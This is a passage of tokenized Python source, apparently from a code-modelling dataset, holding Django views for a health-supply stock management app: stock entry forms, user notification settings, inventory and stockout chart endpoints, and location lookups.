"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "product_", "=_", "Product_", "._", "get_", "(_", "docid", "_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "'", "product", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "'", "stock", "\\u", "on", "\\u", "hand", "'_", "]_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "text_", "+=_", "'{}", " ", "{}.", "{}", " ", "'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "product_", "._", "code_", ",_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "'", "stock", "\\u", "on", "\\u", "hand", "'_", "]_", ",_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "'", "receipt", "s", "'_", "]_", "or_", "0_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "amount_", "=_", "form_", "._", "clean", "ed", "\\u", "data_", "[_", "'", "default", "\\u", "consum", "ption", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "amount_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "set\\u", "default", "\\u", "consum", "ption", "\\u", "for", "\\u", "supply", "\\u", "point_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "domain_", ",_", "product_", "._", "get", "\\u", "id_", ",_", "sql", "\\u", "location_", "._", "supply", "\\u", "point", "\\u", "id_", ",_", "amount_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "text_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Web", "Subm", "ission", "Handler_", "(_", "self_", "._", "request_", "._", "couch", "\\u", "user_", ",_", "self_", "._", "domain_", ",_", "Msg_", "(_", "text_", ")_", ",_", "sql", "\\u", "location_", ")_", "._", "handle_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "url_", "=_", "make", "\\u", "url_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Stock", "Status_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "domain_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'?", "location", "\\u", "id", "=", "%", "s", "&", "filter", "\\u", "by", "\\u", "program", "=", "%", "s", "&", "startd", "ate", "='_", "\\u\\u\\uNL\\u\\u\\u_", "'&", "enddate", "=", "&", "report", "\\u", "type", "=", "&", "filter", "\\u", "by", "\\u", "product", "=", "%", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "sql", "\\u", "location_", "._", "location", "\\u", "id_", ",_", "ALL", "\\u", "OPTION", "_", ",_", "ALL", "\\u", "OPTION", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Respons", "e", "Redirect_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "context_", "=_", "self_", "._", "get", "\\u", "context", "\\u", "data_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "context_", "[_", "'", "formset", "'_", "]_", "=_", "formset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "render", "\\u", "to", "\\u", "response_", "(_", "context_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Inp", "ut", "Stock", "View_", "(_", "Base", "Doma", "in", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "context", "\\u", "data_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "=_", "super_", "(_", "Inp", "ut", "Stock", "View_", ",_", "self_", ")_", "._", "get", "\\u", "context", "\\u", "data_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sql", "\\u", "location_", "=_", "SQL", "Location_", "._", "objects_", "._", "get_", "(_", "domain_", "=_", "self_", "._", "domain_", ",_", "site", "\\u", "code_", "=_", "kwargs_", "._", "get_", "(_", "'", "site", "\\u", "code", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "SQL", "Location_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Http404_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Inp", "ut", "Stock", "Form", "Set_", "=_", "formset", "\\u", "factory_", "(_", "Inp", "ut", "Stock", "Form_", ",_", "extra_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "initial", "\\u", "data_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "product_", "in_", "sql", "\\u", "location_", "._", "products_", "._", "order", "\\u", "by_", "(_", "'", "name", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stock", "\\u", "state_", "=_", "Stock", "State_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "case", "\\u", "id_", "=_", "sql", "\\u", "location_", "._", "supply", "\\u", "point", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "product", "\\u", "id_", "=_", "product_", "._", "product", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stock", "\\u", "on", "\\u", "hand_", "=_", "stock", "\\u", "state_", "._", "stock", "\\u", "on", "\\u", "hand_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "month", "ly", "\\u", "consum", "ption_", "=_", "stock", "\\u", "state_", "._", "get", "\\u", "month", "ly", "\\u", "consum", "ption_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Stock", "State_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stock", "\\u", "on", "\\u", "hand_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "month", "ly", "\\u", "consum", "ption_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "initial", "\\u", "data_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "product", "\\u", "id", "'_", ":_", "product_", "._", "product", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "product", "'_", ":_", "product_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "stock", "\\u", "on", "\\u", "hand", "'_", ":_", "int_", "(_", "stock", "\\u", "on", "\\u", "hand_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "month", "ly", "\\u", "consum", "ption", "'_", ":_", "round_", "(_", "month", "ly", "\\u", "consum", "ption_", ")_", "if_", "month", "ly", "\\u", "consum", "ption_", "else_", "0_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "default", "\\u", "consum", "ption", "'_", ":_", "get", "\\u", "default", "\\u", "month", "ly", "\\u", "consum", "ption_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "domain_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "product_", "._", "product", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sql", "\\u", "location_", "._", "location", "\\u", "type_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sql", "\\u", "location_", "._", "supply", "\\u", "point", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "unit", "s", "'_", ":_", "product_", "._", "units_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "context_", "[_", "'", "formset", "'_", "]_", "=_", "Inp", "ut", "Stock", "Form", "Set_", "(_", "initial_", "=_", "initial", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "EW", "SU", "ser", "Ext", "ensi", "on", "View_", "(_", "Base", "Comm", "Track", "Manage", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "template", "\\u", "name_", "=_", "'", "ew", "sg", "han", "a", "/", "user", "\\u", "extensi", "on", ".", "html", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "EW", "SU", "ser", "Ext", "ensi", "on", "View_", "(_", "Base", "Comm", "Track", "Manage", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "page", "\\u", "context_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "page", "\\u", "context_", "=_", "super_", "(_", "EW", "SU", "ser", "Ext", "ensi", "on", "View_", ",_", "self_", ")_", "._", "page", "\\u", "context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "id_", "=_", "self_", "._", "kwargs_", "[_", "'", "user", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "extension_", "=_", "EW", "SE", "xte", "nsion", "_", "._", "objects_", "._", "get_", "(_", "domain_", "=_", "self_", "._", "domain_", ",_", "user", "\\u", "id_", "=_", "user", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sms", "\\u", "notifications_", "=_", "extension_", "._", "sms", "\\u", "notifications_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "facility_", "=_", "extension_", "._", "location", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "EW", "SE", "xte", "nsion", "_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sms", "\\u", "notifications_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "facility_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "page", "\\u", "context_", "[_", "'", "form", "'_", "]_", "=_", "EW", "SU", "ser", "Settings_", "(_", "user", "\\u", "id_", "=_", "user", "\\u", "id_", ",_", "domain_", "=_", "self_", "._", "domain_", ",_", "initial_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sms", "\\u", "notification", "s", "'_", ":_", "sms", "\\u", "notifications_", ",_", "'", "facilit", "y", "'_", ":_", "facility_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page", "\\u", "context_", "[_", "'", "couch", "\\u", "user", "'_", "]_", "=_", "self_", "._", "web", "\\u", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "page", "\\u", "context_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "EW", "SU", "ser", "Ext", "ensi", "on", "View_", "(_", "Base", "Comm", "Track", "Manage", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "web", "\\u", "user_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Web", "User_", "._", "get_", "(_", "docid", "_", "=_", "self_", "._", "kwargs_", "[_", "'", "user", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "EW", "SU", "ser", "Ext", "ensi", "on", "View_", "(_", "Base", "Comm", "Track", "Manage", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ",_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "=_", "EW", "SU", "ser", "Settings_", "(_", "request_", "._", "POST_", ",_", "user", "\\u", "id_", "=_", "kwargs_", "[_", "'", "user", "\\u", "id", "'_", "]_", ",_", "domain_", "=_", "self_", "._", "domain_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "form_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "form_", "._", "save_", "(_", "self_", "._", "web", "\\u", "user_", ",_", "self_", "._", "domain_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "messages_", "._", "add", "\\u", "message_", "(_", "request_", ",_", "messages_", "._", "SUCCESS_", ",_", "'", "Sett", "ings", " ", "update", "d", " ", "success", "full", "y", "!'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "get_", "(_", "request_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "require", "\\u", "GET_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "inventor", "y", "\\u", "management_", "(_", "request_", ",_", "domain_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "inventor", "y", "\\u", "manage", "ment", "\\u", "ds_", "=_", "Inven", "tor", "y", "Manage", "ment", "Data_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "config_", "=_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "program_", "=_", "None_", ",_", "products_", "=_", "None_", ",_", "domain_", "=_", "domain_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "startdate_", "=_", "force", "\\u", "to", "\\u", "datetime_", "(_", "request_", "._", "GET_", "._", "get_", "(_", "'", "startd", "ate", "'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "enddate", "_", "=_", "force", "\\u", "to", "\\u", "datetime_", "(_", "request_", "._", "GET_", "._", "get_", "(_", "'", "enddate", "'_", ")_", ")_", ",_", "location", "\\u", "id_", "=_", "request_", "._", "GET_", "._", "get_", "(_", "'", "location", "\\u", "id", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "custom", "\\u", "date_", "=_", "True_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "._", "dumps_", "(_", "inventor", "y", "\\u", "manage", "ment", "\\u", "ds_", "._", "charts", "_", "[_", "0_", "]_", "._", "data_", ",_", "default_", "=_", "json", "\\u", "handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "content", "\\u", "type_", "=_", "'", "applica", "tion", "/", "json", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "require", "\\u", "GET_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "stock", "outs", "\\u", "product_", "(_", "request_", ",_", "domain_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stock", "out", "\\u", "graph_", "=_", "Stock", "outs", "Product_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "config_", "=_", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "program_", "=_", "None_", ",_", "products_", "=_", "None_", ",_", "domain_", "=_", "domain_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "startdate_", "=_", "force", "\\u", "to", "\\u", "datetime_", "(_", "request_", "._", "GET_", "._", "get_", "(_", "'", "startd", "ate", "'_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "enddate", "_", "=_", "force", "\\u", "to", "\\u", "datetime_", "(_", "request_", "._", "GET_", "._", "get_", "(_", "'", "enddate", "'_", ")_", ")_", ",_", "location", "\\u", "id_", "=_", "request_", "._", "GET_", "._", "get_", "(_", "'", "location", "\\u", "id", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "custom", "\\u", "date_", "=_", "True_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "._", "dumps_", "(_", "stock", "out", "\\u", "graph_", "._", "charts", "_", "[_", "0_", "]_", "._", "data_", ",_", "default_", "=_", "json", "\\u", "handler_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "content", "\\u", "type_", "=_", "'", "applica", "tion", "/", "json", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "require", "\\u", "POST_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "configur", "e\\u", "in", "\\u", "charge_", "(_", "request_", ",_", "domain_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "in", "\\u", "charge", "\\u", "ids_", "=_", "request_", "._", "POST_", "._", "getlist_", "(_", "'", "users", "[]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "location", "\\u", "id_", "=_", "request_", "._", "POST_", "._", "get_", "(_", "'", "location", "\\u", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "location_", "=_", "SQL", "Location_", "._", "objects_", "._", "get_", "(_", "location", "\\u", "id_", "=_", "location", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "user", "\\u", "id_", "in_", "in", "\\u", "charge", "\\u", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Faci", "lit", "y", "In", "Charge", "_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "user", "\\u", "id_", "=_", "user", "\\u", "id_", ",_", "location_", "=_", "location_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Faci", "lit", "y", "In", "Charge", "_", "._", "objects_", "._", "filter_", "(_", "location_", "=_", "location_", ")_", "._", "exclude_", "(_", "user", "\\u", "id", "\\u\\u", "in_", "=_", "in", "\\u", "charge", "\\u", "ids_", ")_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "'", "OK", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "loc", "\\u", "to", "\\u", "payload_", "(_", "loc_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "{_", "'", "id", "'_", ":_", "loc_", "._", "location", "\\u", "id_", ",_", "'", "name", "'_", ":_", "loc_", "._", "display", "\\u", "name_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "location", "s", "\\u", "access", "\\u", "required_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "non", "\\u", "administrati", "ve", "\\u", "location", "s", "\\u", "for", "\\u", "select", "2_", "(_", "request_", ",_", "domain_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "id_", "=_", "request_", "._", "GET_", "._", "get_", "(_", "'", "id", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query_", "=_", "request_", "._", "GET_", "._", "get_", "(_", "'", "name", "'_", ",_", "''_", ")_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "loc_", "=_", "SQL", "Location_", "._", "objects_", "._", "get_", "(_", "location", "\\u", "id_", "=_", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "loc_", "._", "domain_", "!=_", "domain_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "SQL", "Location_", "._", "Do", "es", "Not", "Exist_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "SQL", "Location_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json", "\\u", "response_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "message", "'_", ":_", "'", "no", " ", "location", " ", "with", " ", "id", " ", "%", "s", " ", "found", "'_", "%_", "id_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status", "\\u", "code_", "=_", "404_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "json", "\\u", "response_", "(_", "loc", "\\u", "to", "\\u", "payload_", "(_", "loc_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "locs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "request_", "._", "couch", "\\u", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "loc_", "=_", "user_", "._", "get", "\\u", "sql", "\\u", "location_", "(_", "domain_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "user", "\\u", "can", "\\u", "edit", "\\u", "any", "\\u", "location_", "(_", "user_", ",_", "request_", "._", "project_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "locs_", "=_", "SQL", "Location_", "._", "objects_", "._", "filter_", "(_", "domain_", "=_", "domain_", ",_", "location", "\\u", "type\\u\\u", "administrati", "ve_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "user", "\\u", "loc_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "locs_", "=_", "user", "\\u", "loc_", "._", "get", "\\u", "descendants", "_", "(_", "include", "\\u", "self_", "=_", "True_", ",_", "location", "\\u", "type\\u\\u", "administrati", "ve_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "locs_", "!=_", "[_", "]_", "and_", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "locs_", "=_", "locs_", "._", "filter_", "(_", "name", "\\u\\u", "icontains_", "=_", "query_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "json", "\\u", "response_", "(_", "map_", "(_", "loc", "\\u", "to", "\\u", "payload_", ",_", "locs_", "[_", ":_", "10_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Dash", "board", "Page", "View_", "(_", "Redirect", "View_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Dash", "board", "Page", "View_", "(_", "Redirect", "View_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get", "\\u", "redirec", "t", "\\u", "url_", "(_", "self_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "domain_", "=_", "kwargs_", "[_", "'", "domain", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "Dash", "board", "Report_", "._", "get", "\\u", "raw", "\\u", "url_", "(_", "domain_", ",_", "request_", "=_", "self_", "._", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "self_", "._", "request_", "._", "couch", "\\u", "user_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dm_", "=_", "user_", "._", "get", "\\u", "domain", "\\u", "membership_", "(_", "domain_", ")_", "if_", "user_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "dm_", "._", "program", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "program", "\\u", "id_", "=_", "dm_", "._", "program", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 